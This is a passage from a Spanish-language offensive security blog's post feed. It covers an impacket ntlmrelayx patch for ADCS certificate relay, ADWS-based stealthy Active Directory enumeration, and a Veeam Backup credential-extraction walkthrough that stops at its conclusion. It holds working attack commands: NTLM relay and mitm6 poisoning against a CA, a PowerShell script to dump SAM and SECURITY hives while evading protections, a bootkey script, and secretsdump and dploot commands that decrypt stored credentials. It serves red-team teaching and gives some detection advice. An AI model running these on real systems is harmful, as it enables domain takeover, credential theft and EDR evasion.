\u0026quot;RPC\u0026quot; con la clase parcheada:\n1 2 3 4 from impacket.examples.ntlmrelayx.attacks import PROTOCOL_ATTACKS # Carga la clase RPCAttack parcheada desde fichero local PROTOCOL_ATTACKS[\u0026#34;RPC\u0026#34;] = _load_patched_rpcattack() Donde _load_patched_rpcattack() usa importlib.util.spec_from_file_location para cargar el módulo parcheado sin tocar el sistema de paquetes de impacket. Funciona porque PROTOCOL_ATTACKS almacena clases, no instancias: RPCAttack no se instancia hasta que llega una conexión en tiempo de ejecución, mucho después del import, así que basta con sustituir la entrada del diccionario antes de que llegue el primer relay.\nUna vez validado el parche por esta vía, el cambio se integró directamente en el fork de impacket. Por eso la PoC que viene a continuación se ejecuta con ntlmrelayx.py normal y el flag --altSid, sin wrapper ni inyección: el código ya vive dentro de la herramienta.\nPoC La cadena completa, de un vistazo, antes de bajar a los comandos:\n1. Obtener el SID del usuario objetivo El primer dato que necesitamos es el SID de la cuenta que vamos a suplantar (aquí, el Administrador), porque es justo lo que hay que incrustar en el certificado. Desde cualquier cuenta de dominio:\n1 2 3 4 5 # Con impacket impacket-lookupsid \u0026#39;DOMINIO/usuario:pass\u0026#39;@DC-IP | grep -i \u0026#34;domain admin\\|administrator\\| 500$\u0026#34; # Con rpcclient rpcclient -U \u0026#39;usuario%pass\u0026#39; DC-IP -c \u0026#34;lookupnames Administrador\u0026#34; 2. Levantar el relay Con el SID en mano, arrancamos el ntlmrelayx parcheado apuntando a la CA y le pasamos el SAN del Administrador junto con su SID (--altSid):\n1 2 3 4 5 6 7 8 9 10 sudo ntlmrelayx.py -6 \\ -t rpc://CA.corp.local \\ -rpc-mode ICPR \\ -icpr-ca-name \u0026#39;CORP-CA\u0026#39; \\ --adcs \\ --template VulnTemplate \\ --altname \u0026#39;Administrator@corp.local\u0026#39; \\ --altSid \u0026#39;S-1-5-21-XXXXXXXXX-XXXXXXXXX-XXXXXXXXX-500\u0026#39; \\ --no-multirelay \\ -smb2support 3. Forzar la autenticación con mitm6 Solo falta que una cuenta con permisos de enrollment autentique contra el relay. Con mitm6 envenenamos la resolución IPv6/DNS del segmento para provocarlo:\n1 sudo mitm6 -i eth0 -d corp.local Cuando pica, el relay hace su parte: genera el CSR con la extensión SID incrustada, la CA emite el certificado con ella y obtienes el PFX en disco. Esa es la pieza que faltaba, un certificado con el SID correcto.\nA partir de ahí, la autenticación es el flujo de siempre. Con ese PFX, certipy auth hace el PKINIT contra el DC y, como ahora el SID cuadra, valida y devuelve el hash NT del usuario suplantado:\nCódigo y PR El parche completo está disponible en mi fork de impacket, rama feature/adcs-sid-extension, y se ha enviado como pull request al repositorio upstream en fortra/impacket#2222.\nLos ficheros modificados respecto al original son cuatro:\nimpacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py: helpers DER + generate_csr con ruta altSid impacket/examples/ntlmrelayx/attacks/rpcattack.py: pasa altSid a generate_csr impacket/examples/ntlmrelayx/utils/config.py: campo altSid en NTLMRelayxConfig impacket/examples/ntlmrelayx.py: argumento --altSid Referencias Certified Pre-Owned — Schroeder \u0026amp; Christensen, SpecterOps KB5014754 — Certificate-based authentication changes on Windows domain controllers certipy v5 — ly4k impacket — fortra ESC11 — ICPR relay — Compass Security ","permalink":"https://josupalacios99.github.io/blog/posts/adcs-ntlmrelayx-sid-extension/","summary":"El relay ADCS con ntlmrelayx genera certificados que certipy v5 rechaza con \u0026lsquo;Object SID mismatch\u0026rsquo;. El problema está en KB5014754: los DCs modernos exigen que el certificado contenga el SID del usuario en una extensión propietaria de Microsoft. ntlmrelayx no la incluye. Aquí está el por qué y cómo parchearlo.","title":"ntlmrelayx y ADCS: cuando el certificado llega pero no sirve"},{"content":"Introducción Si operas en Active Directory, el primer movimiento después de pisar el dominio te lo sabes de memoria: recon. Usuarios, grupos, equipos, confianzas, ACLs… todo eso hay que mapearlo antes de mover ficha. Y el patrón es casi siempre el mismo: volcar el directorio y meterlo en BloodHound para encontrar el camino más corto hasta comprometer el dominio. Por debajo, sin embargo, todo ese reconocimiento se reduce a una sola cosa: consultas LDAP contra el controlador de dominio (DC) por los puertos 389 y 636.\nEl problema es que el Blue Team también se sabe ese guion. LDAP es hoy de lo más monitorizado del dominio: hay logging de consultas en el cliente y en el propio DC, y productos como Microsoft Defender for Identity, o un EDR como CrowdStrike, vigilan los patrones de recon. Sobre esa telemetría, las reglas al estilo Sigma cazan lo de siempre: el ruido per-objeto, los filtros con wildcards que delatan un barrido masivo, una consulta demasiado amplia saliendo de una cuenta de bajo privilegio. Recolectar por LDAP es jugar en el campo donde el defensor lleva años montando cámaras.\nEn este caso, el operador hace lo lógico cuando un canal está saturado de detección: busca una alternativa. Y la hay. Lleva en todos los DC desde 2008, entiende exactamente los mismos filtros LDAP y, por lo general, apenas tiene cobertura defensiva encima, hasta el punto de que solo las organizaciones con una madurez muy alta llegan a detectarla. Se llama Active Directory Web Services, ADWS, y escucha en el puerto 9389.\nEste artículo no va de apretar el botón de una herramienta, va de entender qué pasa por debajo. Vamos a desmontar ADWS capa a capa: cómo se comunica, por qué entiende consultas LDAP si por el cable no viaja LDAP, de dónde sale su OPSEC y, sobre todo, dónde se rompe. Entender el porqué es lo que te permite adaptar la técnica el día que el defensor empiece a mirar también el 9389.\nY para bajarlo a tierra, cerraremos con la parte práctica: ADWSHound, un ingestor para BloodHound CE escrito en Python que recoge la información del directorio hablando directamente ADWS y construido cuidando varias consideraciones de OPSEC. La misma visión del dominio que te daría una recolección clásica, pero por la puerta que casi nadie vigila.\nQué es ADWS Active Directory Web Services (ADWS) es un servicio basado en WCF que Microsoft introdujo en Windows Server 2008 R2 y que se instala y habilita de forma predeterminada en todo controlador de dominio. Expone una interfaz de red para consultar y administrar el directorio, tanto instancias de AD DS como de AD LDS, y escucha en el puerto TCP 9389. No es un componente opcional ni habitual de deshabilitar: forma parte del rol de directorio y está presente en cualquier DC actual.\nADWS es el transporte que emplean las herramientas de administración modernas. El módulo de PowerShell ActiveDirectory (Get-ADUser, Get-ADComputer, Get-ADObject, etc.) y la consola ADAC (dsac.exe, Active Directory Administrative Center) no emiten LDAP por la red: dirigen sus consultas a ADWS. Al ejecutar Get-ADUser -Filter *, el cliente abre una conexión al 9389 del DC, no al 389. Deshabilitarlo inutilizaría estas herramientas, motivo por el que rara vez se desactiva.\nAhora bien, el nombre induce a error: pese a llamarse Web Services, no interviene HTTP en ningún punto. No hay peticiones REST ni verbos GET. Por debajo, la comunicación se apoya en una pila de protocolos de .NET sobre net.tcp, y para entender esa pila conviene empezar por el framework del que sale.\nEse framework es WCF. Windows Communication Foundation es la tecnología de .NET con la que se construyen servicios de red, y su idea central es separar la lógica del \u0026ldquo;cómo se comunica\u0026rdquo;. Un servicio expone un contrato (las operaciones que ofrece) a través de uno o varios endpoints, y cada endpoint se define con tres piezas, el llamado ABC: Address (dónde escucha), Binding (cómo se habla) y Contract (qué ofrece). La pieza clave es el binding, porque agrupa tres decisiones: el transporte (por ejemplo net.tcp o HTTP), la codificación (binaria o texto) y la seguridad (NNS o TLS). El mismo servicio puede exponerse con bindings distintos sin tocar su lógica.\nADWS no es más que una combinación concreta de ese binding: net.tcp como transporte, SOAP binario como codificación y NNS como seguridad. Esas tres elecciones son justo las que desglosaremos, capa a capa, en la siguiente sección.\nCómo funciona la comunicación En la sección anterior quedó la foto general: ADWS es una combinación de binding de WCF, net.tcp más SOAP binario más NNS. Toca abrir esa combinación y ver, capa a capa, qué ocurre desde que el cliente abre la conexión hasta que el directorio responde. No es un protocolo único, sino varias piezas de .NET apiladas una sobre otra.\nPara no perderse entre siglas, mantén en la cabeza la imagen del mostrador de recepción de un edificio de archivos enorme (el directorio). Tú no entras a rebuscar: entregas tu petición en el mostrador y un empleado va, la busca y te trae el resultado. Cada capa es un paso de ese trámite. Las vemos de abajo a arriba.\nTransporte: TCP 9389 (net.tcp) ADWS publica sus endpoints con el binding net.tcp de WCF sobre TCP 9389. No hay HTTP ni TLS de transporte. La sesión es full-duplex y persistente: una única conexión TCP transporta toda la conversación, peticiones y respuestas, hasta que se cierra. El endpoint base tiene la forma net.tcp://dc:9389/ActiveDirectoryWebServices/....\nVisualízalo: es una línea telefónica directa al mostrador del DC. No cuelgas entre pregunta y pregunta. Abres la llamada una vez y por ahí va todo, ida y vuelta, hasta que terminas y cuelgas.\nFraming: .NET Message Framing (MS-NMF) NMF define cómo se delimitan los mensajes dentro de ese flujo TCP. La conversación arranca con un Preamble: el modo (siempre Duplex en ADWS), un record Via con la URI del endpoint y el record de codificación. A partir de ahí, cada mensaje lleva su longitud por delante para saber dónde empieza y dónde acaba.\nVisualízalo: es ponerse de acuerdo en el formato de los sobres antes de escribirse: el tamaño, a qué ventanilla van y en qué idioma. Sin ese acuerdo, el otro lado solo vería un chorro de bytes sin saber dónde corta una carta y empieza la siguiente.\nSeguridad: .NET NegotiateStream (MS-NNS) Sobre el framing se hace un upgrade a NegotiateStream: un intercambio SPNEGO que selecciona Kerberos (o NTLM) y autentica al cliente. Desde ese punto, los mensajes van firmados y normalmente cifrados (sign and seal) a nivel de aplicación. El servidor exige la firma, lo que deja sin efecto el NTLM relay.\nVisualízalo: enseñas tu credencial en recepción y, a partir de ahí, cada carta va certificada y en un sobre lacrado. Nadie por el camino la lee ni la cambia, y el lacre prueba que la mandaste tú. No es el candado del navegador (TLS): aquí va blindado el sobre, no el pasillo.\nCodificación: NBFSE (SOAP binario) El SOAP no viaja como XML de texto, sino serializado con NBFSE, la variante binaria de SOAP con un diccionario in-band que sustituye etiquetas y nombres repetidos por índices cortos. El resultado son menos bytes y un formato que ya no se parsea como XML normal.\nVisualízalo: es la diferencia entre escribir \u0026ldquo;distinguishedName\u0026rdquo; entero cada vez o usar una abreviatura pactada como \u0026ldquo;#7\u0026rdquo;. Compacto para quien tiene el diccionario, y un galimatías para quien intercepta el cable sin él.\nAplicación: SOAP + WS-Enumeration En la capa de aplicación, ADWS implementa varios estándares WS-*: WS-Transfer (leer o escribir un objeto concreto), WS-MetadataExchange y, para búsquedas masivas, WS-Enumeration. El esquema y los endpoints específicos de AD los define MS-ADDM. El filtro LDAP, la lista de atributos y el scope viajan en el cuerpo del mensaje Enumerate.\nDos matices del funcionamiento importan. El primero: el tamaño de cada página lo decide el servidor, y el EnumerationContext caduca a los ~30 minutos, así que una recolección larga obliga a paginar sin pausa o a trocear el filtro en lotes cortos (por ejemplo, por prefijo de CN: cn=a*, cn=b*…) para no perder el contexto a mitad. El segundo afecta a los descriptores de seguridad: para que ADWS devuelva el atributo nTSecurityDescriptor hay que pedirlo con el control LDAP_SERVER_SD_FLAGS_OID indicando solo Owner, Group y DACL (flags 0x7). Leer la SACL exige privilegios, y aquí ADWS no se comporta como LDAP: si no acotas con ese control, en lugar de recortar la SACL descarta el atributo entero de la respuesta. Sin ese 0x7, te quedas sin las ACLs que necesita BloodHound.\nVisualízalo: es el formulario que rellenas en el mostrador. \u0026ldquo;Quiero las fichas que cumplan esto\u0026rdquo; (filtro), \u0026ldquo;tráeme solo estas casillas\u0026rdquo; (atributos) y \u0026ldquo;busca en esta planta\u0026rdquo; (scope). Y como pueden ser miles, no te las dan de golpe: pides (Enumerate), te dan un número de ticket (EnumerationContext, un UUID) y vas recogiendo el resultado por tandas (Pull) hasta acabar. Ese ticket caduca a los 30 minutos, un detalle que condiciona cómo recolectan las herramientas.\nPor qué acepta consultas tipo LDAP La clave, y lo que lo hace tan cómodo para un operador, está en lo que ADWS hace al recibir el mensaje Enumerate: no interpreta una API propia ni te obliga a aprender un lenguaje nuevo. Dentro de ese mensaje viajan tres cosas que cualquiera que haya tocado LDAP reconoce al instante: un filtro con la sintaxis LDAP de siempre (la de RFC 4515, (\u0026amp;(objectClass=user)(adminCount=1)) y compañía), la lista de atributos que quieres de vuelta (la proyección) y el scope de búsqueda (Base, OneLevel o Subtree). ADWS los saca del cuerpo SOAP y monta con ellos una búsqueda LDAP normal y corriente.\nY es, literalmente, contra el mismo directorio. ADWS se ejecuta en el propio controlador de dominio, al lado del servicio de directorio que también atiende el 389/636; no habla con una réplica ni con una base de datos aparte, consulta la misma NTDS. Por eso respeta las mismas reglas de coincidencia, los mismos índices, los mismos límites de tamaño y los mismos controles LDAP (la paginación, o el SD_FLAGS para descriptores de seguridad que veremos más abajo). No hay una segunda lógica de consulta: ADWS es un adaptador de protocolo que envuelve y desenvuelve, pero la búsqueda la resuelve el directorio igual que siempre. Tu (\u0026amp;(objectClass=user)(adminCount=1)) devuelve exactamente el mismo conjunto que por el 389, porque al final lo resuelve el mismo motor.\nPara el operador, eso significa que no tiras nada de tu repertorio. Los mismos filtros que lanzarías con PowerView, ldapsearch o un recolector de BloodHound valen aquí palabra por palabra: cuentas con adminCount=1, SPNs kerberoasteables, delegaciones, relaciones de confianza. La enumeración es idéntica (T1087 - Account Discovery, T1069 - Permission Groups Discovery, T1018 - Remote System Discovery, T1482 - Domain Trust Discovery); lo único que cambia es el envoltorio y la puerta por la que entra. Mismo recon, mismas TTPs, telemetría distinta: cambias de canal, no de oficio.\nPor qué su OPSEC es tan bueno Con la pila ya desmontada, las ventajas para un operador caen por su propio peso. Cada capa que vimos aporta su grano:\nOtro puerto. El tráfico sale por el 9389, no por el 389/636. La mayoría de sensores y reglas de red están afinados para el LDAP clásico, así que por aquí no ven nada. Binario y sellado. Entre el framing de NMF, la codificación binaria de NBFSE y el sellado de NNS, lo que cruza el cable es opaco: ni es XML legible ni hay un patrón cómodo de firmar para un IDS. El origen se difumina. Como la búsqueda LDAP la ejecuta el propio ADWS en local, en los registros de Directory Service del DC (Event 1644, si está activo) la consulta figura originada por el propio controlador, por localhost ([::1]), no por tu IP. Tu equipo desaparece de la traza de la consulta. Te confundes con lo legítimo. El módulo de PowerShell AD, dsac.exe y muchos agentes de monitorización hablan ADWS de forma constante y normal. Una conexión más al 9389 no destaca por sí sola. Poca telemetría de serie. Los mensajes SOAP de ADWS no se registran en los Event Logs de Windows por defecto: sin configuración añadida, no queda rastro de la consulta. Esquiva las detecciones pensadas para LDAP. El logging de LDAP en el cliente (con tope de consultas en algunos EDR), las reglas que vigilan patrones LDAP sospechosos y el ruido per-objeto de recolectores como SharpHound se quedan mirando el canal equivocado. En conjunto: misma información, misma potencia de consulta, pero por un canal poco vigilado y con tu origen difuminado. Por eso la técnica ha ganado tanta tracción. Ahora bien, \u0026ldquo;poco vigilado\u0026rdquo; no es lo mismo que \u0026ldquo;invisible\u0026rdquo;, y esa es la otra mitad de la historia.\nPoC: enumeración por ADWS Hasta aquí la teoría. Para llevarlo a la práctica he escrito ADWSHound, una herramienta propia en Python para enumerar Active Directory hablando directamente ADWS: autenticarse contra el 9389 del controlador de dominio, lanzar las consultas envueltas en SOAP y recolectar el resultado para llevarlo a BloodHound CE, sin tocar el 389/636 en ningún momento.\nLa herramienta está terminada y disponible en el repositorio: github.com/JosuPalacios99/ADWSHound. Ahí están el código, el uso y los detalles de la implementación.\nEl matiz honesto: por qué no es invisible Esta es la otra mitad de la historia. ADWS tiene un OPSEC excelente, pero excelente no es sinónimo de indetectable, y darlo por invisible es justo lo que acaba quemando operaciones. La razón de fondo es la que ya hemos visto: por mucho que el envoltorio sea SOAP por el 9389, al final la consulta LDAP se ejecuta de verdad contra el directorio. Y ejecutar deja rastro:\nEl filtro LDAP, los atributos y el usuario sí llegan al directorio. Con el logging de diagnóstico de Directory Service activado (la clave \u0026ldquo;Field Engineering\u0026rdquo;), el Event 1644 registra la consulta: el filtro, los atributos y la cuenta que la lanzó. Lo único que se camufla es el origen, que aparece como el propio DC. Las SACL y los objetos canario siguen saltando. Si un objeto tiene auditoría de acceso configurada (SACL), el Event 4662 se dispara igual cuando lo tocas por ADWS. Sembrar objetos señuelo y auditarlos es, de hecho, la detección más fiable contra esta técnica. Correlación de eventos en el DC. Los eventos de Directory Service se pueden encadenar por Operation ID para reconstruir la sesión de enumeración: la conexión (1138), la consulta (1644), las estadísticas e índices (1166/1167) y la autenticación (1139/1140). Hay indicadores muy delatores, como el prefijo [all_with_list] que deja el -Properties * de PowerShell, o SDflags:0x7 en las consultas. Este último es especialmente valioso para el defensor: como ADWS solo devuelve el nTSecurityDescriptor si pides justo Owner, Group y DACL (ese 0x7), su aparición repetida delata casi sin ambigüedad una recolección de ACLs estilo BloodHound por ADWS. Detección de red en el endpoint. Un proceso que no debería hablar con el 9389 conectándose al DC (capturado por Sysmon EventID 3), o una conexión a ADWS justo después de una inyección de proceso, son señales claras. Existen reglas públicas en Sigma, Elastic y Splunk justo para esto. La gran ventaja que le queda al atacante no es la invisibilidad, es la atribución: como los logs de la consulta muestran al DC como origen, averiguar qué máquina de la red lanzó realmente la enumeración cuesta, y obliga al defensor a correlacionar la cuenta que enumera con las sesiones activas del entorno.\nConclusión ADWS es un recordatorio incómodo de algo que se repite mucho en Red Team: defender un protocolo no es lo mismo que defender una capacidad. Puedes tener LDAP monitorizado hasta el último filtro y aun así dejar la misma información saliendo por una puerta de al lado que casi nadie mira.\nPara el atacante, ADWS es enumeración con un OPSEC excelente: mismo poder de consulta, canal poco vigilado, origen difuminado. Para el defensor, el mensaje es claro: vigilar solo el 389/636 deja un punto ciego del tamaño de un controlador de dominio. Cubrir el 9389, activar el logging de Directory Service, sembrar objetos con SACL y correlacionar eventos por Operation ID convierte ese punto ciego en una trampa.\nComo casi siempre, la técnica no es magia: es saber por dónde mira el otro y entrar por donde no mira. ADWS es, hoy, esa puerta de atrás del directorio. Y, en cuanto el defensor aprende a mirar también ahí, deja de ser un atajo y vuelve a ser solo otra conexión más en los logs.\nReferencias FalconForce — SOAPHound: tool to collect Active Directory data via ADWS. falconforce.nl Logan Goins — Stealthy Enumeration of Active Directory Environments Through ADWS y la herramienta SoaPy. logan-goins.com IBM X-Force — Stealthy enumeration of Active Directory environments through ADWS. ibm.com ipurple.team — Active Directory Enumeration – ADWS. ipurple.team Huntress — The ADWS Architecture That Hides PowerShell AD Enumeration. huntress.com Microsoft Learn — MS-ADDM (endpoints de AD Web Services), MS-NMF (.NET Message Framing) y MS-NNS (.NET NegotiateStream). wh0amitz — SharpADWS. github.com/wh0amitz/SharpADWS Reglas de detección — Sigma (conexión de red a ADWS), Elastic (discovery_active_directory_webservice), Splunk Security Content y FalconForce FalconFriday. j0su — ADWSHound (ingestor de BloodHound CE sobre ADWS). github.com/JosuPalacios99/ADWSHound ","permalink":"https://josupalacios99.github.io/blog/posts/adws-enumeracion-sigilosa-active-directory/","summary":"Casi toda la enumeración de Active Directory pasa por LDAP (389/636), que es justo lo más vigilado del dominio. ADWS es una vía lateral por el puerto 9389 que acepta las mismas consultas LDAP pero apenas se mira. Cómo funciona por dentro, por qué su OPSEC es tan bueno y por qué no es invisible.","title":"ADWS: enumerar Active Directory por la puerta de atrás"},{"content":" Esto no es contenido nuevo: es una adaptación de un artículo que escribí en su día y que se publicó originalmente en Security Art Work (S2GRUPO) el 5 de mayo de 2025. He reescrito la redacción para darle el tono de este blog, pero el contenido técnico es el mismo.\nIntroducción Seguro que conoces Veeam Backup. Es la solución de protección de datos que hace copias de seguridad y recuperaciones en entornos virtuales, físicos, NAS y en la nube. Su facilidad de uso y su eficiencia lo han convertido en una pieza central de la estrategia de backup de muchas organizaciones, y más ahora, con el ransomware a la orden del día y la continuidad del negocio en el punto de mira.\nPero hagámonos una pregunta incómoda: ¿y si esa misma solución que te protege se convirtiera en la puerta de entrada del atacante?\nUna de las grandes ventajas de Veeam es lo bien que se integra con el resto del entorno: vSphere (la plataforma de virtualización de VMware), sistemas NAS para almacenamiento en red o soluciones cloud como Azure. Toda esa automatización es comodísima, pero tiene letra pequeña: la autenticación. Para hablar con esos servicios, Veeam necesita credenciales. Y por el tipo de tareas que ejecuta, esas credenciales suelen tener privilegios elevados.\nAhí está el problema. Veeam no es crítico solo por lo que hace, sino por lo que guarda: un cofre de credenciales con acceso a media infraestructura. Para un atacante, eso es un objetivo de primera.\nY conviene pararse en el impacto, porque es lo que de verdad importa. Quien controla Veeam no se lleva una credencial suelta: se lleva las llaves de vSphere (y con ellas, de todas las máquinas virtuales), de los NAS donde viven los datos y de la nube. Pero hay algo peor. Veeam es tu plan B, el que se supone que te salva cuando entra un ransomware. Si el atacante lo compromete, no solo puede cifrar tus datos: puede borrar o cifrar también las copias de seguridad y dejarte sin nada a lo que volver. Pasa de robarte a quitarte la red de seguridad. Por eso comprometer Veeam no es un hallazgo más en un informe: muchas veces es el game over de la organización.\n¿Y dónde guarda Veeam esas credenciales? En su base de datos de configuración (Veeam Backup \u0026amp; Replication Configuration Database), donde almacena la información de la infraestructura de respaldo, las tareas, las sesiones y, entre otras cosas, las credenciales para conectarse a otros servicios. Esa base de datos puede vivir en un Microsoft SQL Server (MSSQL) o en PostgreSQL, en local (el mismo servidor que Veeam) o en remoto.\nGuardar credenciales en texto plano no es opción, así que Veeam usa la Data Protection API (DPAPI) de Microsoft para cifrarlas y guardarlas como blobs de datos. Para quien no la conozca: DPAPI es una API de cifrado de Windows, muy usada junto al Windows Credential Manager, donde guarda credenciales de navegadores, de Remote Desktop Protocol (RDP) y de otras aplicaciones.\nEntonces, ¿cómo aprovecha un adversario todo esto? Tanto un atacante real como un operador de Red Team trabajan parecido: con un objetivo claro, de forma sigilosa y sin levantar alarmas. Y un sistema que gestiona backups e interactúa con servicios tan críticos como vSphere es, si cae, una brecha de altísimo impacto.\nLa diferencia está en la intención. El adversario busca hacer daño, por ejemplo cifrando datos (T1486 - Data Encrypted for Impact) para tumbar la disponibilidad del negocio. El operador de Red Team, dentro de un ejercicio de simulación de adversarios, hace lo mismo pero para demostrar el impacto real que tendría ese atacante, partiendo de un escenario y unos objetivos pactados.\nMuchas organizaciones confían en su EDR para frenar esto. Pero, ¿y si tanto el atacante como el Red Team dan por hecho que ese EDR está ahí y diseñan sus técnicas precisamente para evadirlo?\nEn este artículo verás dos aproximaciones, usadas en uno de los últimos ejercicios, que permitieron volcar la Security Account Manager (SAM) (T1003.002 - Security Account Manager) y acceder a las master keys que DPAPI usa para cifrar y descifrar los blobs, todo ello en entornos con antivirus (Windows Defender, BitDefender) y EDR (CrowdStrike). Con ellas, un atacante podría usar Veeam Backup como puerta de entrada para comprometer y controlar múltiples servicios críticos de la organización.\nPrueba de Concepto (PoC) Para esta PoC partimos de un supuesto: el atacante ya tiene control con privilegios elevados sobre el equipo donde corre Veeam Backup y acceso a él. Y un detalle que no es menor: el entorno de las pruebas tenía el Endpoint Detection and Response (EDR) de CrowdStrike vigilando.\nLocalizar el servidor de Veeam Lo primero es localizar el servidor donde vive Veeam. Una vía cómoda es BloodHound (S0521 - BloodHound), que enumera entornos Active Directory (AD) y, entre otras cosas, te deja ver los Service Principal Names (SPNs) asociados a los objetos del dominio.\nCon el servidor localizado, toca conectarse a la máquina objetivo, por ejemplo por Remote Desktop Protocol (RDP) (T1021.001 - Remote Desktop Protocol) con una cuenta de privilegios elevados.\nAcceder a la base de datos y extraer las credenciales El siguiente paso es averiguar dónde está la base de datos de Veeam, cómo se llama (instancia y base de datos) y de qué tipo es. Todo eso está en esta clave del registro de Windows:\n1 HKEY_LOCAL_MACHINE\\SOFTWARE\\Veeam\\Veeam Backup and Replication Con esos datos, accedemos (T1005 - Data from Local System) a la base de datos con cualquier gestor compatible con Microsoft SQL Server (MSSQL) o PostgreSQL, según el tipo que hayamos visto. Un par de herramientas portables que van bien:\nAzure Data Studio: cliente multiplataforma de Microsoft para Microsoft SQL Server y PostgreSQL. DBeaver: cliente universal de bases de datos, gratuito y portable. Ya dentro, toca enumerar las credenciales que Veeam guarda en su base de datos, que están cifradas. Para sacarlas, esta consulta SQL:\n1 SELECT * FROM VeeamBackup.dbo.Credentials Volcar la SAM Con las credenciales cifradas en la mano, empieza la segunda fase: extraer las master keys del Data Protection API (DPAPI), las que cifran y descifran esas credenciales.\nAprovechando los privilegios elevados sobre el servidor de Veeam, vamos a volcar la Security Account Manager (SAM) (T1003.002 - Security Account Manager). De ese volcado sacaremos los valores DPAPI_MACHINEKEY y DPAPI_USERKEY, que luego usaremos para extraer las master keys de la cuenta máquina.\nLa aproximación para volcar la SAM es esta:\nCon el acceso por Remote Desktop Protocol (RDP) (T1021.001 - Remote Desktop Protocol), montamos un recurso compartido en la máquina víctima con la herramienta PsExec (S0029 - PsExec), de la suite SysInternals de Microsoft.\nCon PsExec lanzamos el RegEdit (Editor de Registros) como NT Authority\\System: necesitamos ese nivel de privilegio para volcar la SAM.\n1 PsExec64.exe -s -i regedit Con el Editor de Registros abierto, exporta en formato .reg estos registros:\n1 2 HKEY_LOCAL_MACHINE\\SAM HKEY_LOCAL_MACHINE\\SECURITY Y, por otro lado, exporta en formato .txt este otro:\n1 HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa Para exportar una clave: clic derecho sobre el registro, “Exportar” y eliges el formato (.reg o .txt).\nLos registros SAM y SECURITY solo se pueden volcar en binario, así que usamos este script de PowerShell para moverlos temporalmente a HKCU\\HELLO, reimportarlos y guardarlos como ficheros .hive. Así esquivamos las protecciones que vigilan el acceso directo a estas claves:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 # Ubicación de los ficheros exportados $files = @( \u0026#34;C:\\Users\\Public\\Documents\\sam.reg\u0026#34;, \u0026#34;C:\\Users\\Public\\Documents\\sec.reg\u0026#34; ) # Modificar la ubicación de los registros Write-Output \u0026#34;Switching HKLM\\ to HKCU\\HELLO in .reg files\u0026#34; foreach ($filePath in $files) { $content = Get-Content -Path $filePath -Raw -Encoding Unicode $replacement = [char[]] \u0026#34;HKEY_CURRENT_USER\\HELLO\u0026#34; -join \u0026#39;\u0026#39; $updatedContent = $content -replace \u0026#34;HKEY_LOCAL_MACHINE\u0026#34;, $replacement Set-Content -Path $filePath -Value $updatedContent -Encoding Unicode Write-Output \u0026#34;`tUpdated file: $filePath\u0026#34; } # Importar los registros a la nueva ubicación Write-Output \u0026#34;Importing modified .reg files in HKCU\\HELLO\u0026#34; reg import C:\\Users\\Public\\Documents\\sam.reg reg import C:\\Users\\Public\\Documents\\sec.reg # Obtener los registros mediante reg save Write-Output \u0026#34;Reg saving back to .hive\u0026#34; reg save HKEY_CURRENT_USER\\HELLO\\SAM C:\\Users\\Public\\Documents\\SAM.hive reg save HKEY_CURRENT_USER\\HELLO\\SECURITY C:\\Users\\Public\\Documents\\SECURITY.hive # Eliminar la clave temporal Write-Output \u0026#34;Removing temporary HKCU\\HELLO hives\u0026#34; reg delete HKEY_CURRENT_USER\\HELLO /f Del registro LSA que exportamos en .txt necesitamos cuatro valores, guardados en el atributo Class Name:\n1 2 3 4 HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\GBG HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Data HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\JD HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Skew1 Obtener la BootKey y los hashes Esos cuatro valores van al siguiente script, que calcula la BootKey necesaria para descifrar los datos del volcado de la SAM (T1003.002 - Security Account Manager).\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # Valores hexadecimales para JD, Skew1, GBG y Datos jd = bytes.fromhex(\u0026#34;$JD\u0026#34;) skew1 = bytes.fromhex(\u0026#34;$SKEW1\u0026#34;) gbg = bytes.fromhex(\u0026#34;$GBG\u0026#34;) data = bytes.fromhex(\u0026#34;$DATA\u0026#34;) # Combinar los datos binarios combined = jd + skew1 + gbg + data # Tabla de permutación para la Bootkey permutation = [0x8, 0x5, 0x4, 0x2, 0xB, 0x9, 0xD, 0x3, 0x0, 0x6, 0x1, 0xC, 0xE, 0xA, 0xF, 0x7] # Reorganizar los bytes para generar la Bootkey bootkey = bytes([combined[i] for i in permutation]) # Imprimir la Bootkey en formato hexadecimal print(\u0026#34;Bootkey:\u0026#34;, bootkey.hex()) Con la BootKey ya podemos acceder a los hashes de la SAM en local, con herramientas como impacket-secretsdump (S0357 - impacket-secretsdump) o similares.\n1 impacket-secretsdump -sam SAM.hive -security SECURITY.hive -bootkey $BOOTKEY LOCAL Extraer las master keys de DPAPI De todo lo que devuelve secretsdump nos quedamos con las dos claves que ya mencionamos: DPAPI_MACHINEKEY y DPAPI_USERKEY. Con ellas extraeremos las master keys de la cuenta máquina, y para eso usamos dploot.\ndploot interactúa con el Windows Credential Manager y con el Data Protection API (DPAPI) en local: puedes montar en una máquina que controlas el sistema de archivos de la víctima y, desde ahí, extraer las master keys.\nPara montar el sistema de archivos, una aproximación posible:\n1 sudo mount -t cifs //$IP/$RECURSO /mnt/tmp -o username=$USUARIO,password=$CONTRASEÑA,domain=$DOMINIO Con el sistema de archivos montado, extraemos las master keys de la cuenta máquina: son las claves con las que Veeam cifra las credenciales, así que las necesitamos para descifrarlas.\n1 2 dploot machinemasterkeys -root /mnt/tmp -u $USUARIO -p $PASSWORD -t LOCAL \\ -dpapi-system-key \u0026#39;dpapi_machinekey:$DPAPI_MACHINEKEY,dpapi_userkey:$DPAPI_USERKEY\u0026#39; Descifrar las credenciales Con las master keys ya extraídas, el último paso es descifrar los blobs de datos, que no son otra cosa que las credenciales que sacamos antes del Veeam Backup \u0026amp; Replication Configuration Database.\ndploot hace algo parecido a una fuerza bruta: prueba cada master key del archivo contra el blob hasta dar con la que lo descifra.\n1 dploot blob -blob \u0026#34;$BLOB\u0026#34; -mkfile $ARCHIVO_MASTERKEYS -t LOCAL Y con esas credenciales en claro se abre la puerta a todos los servicios críticos conectados a Veeam: control y privilegios elevados sobre el entorno IT, y vía libre para ir a por los objetivos de negocio de la organización.\nConclusión Este ejemplo 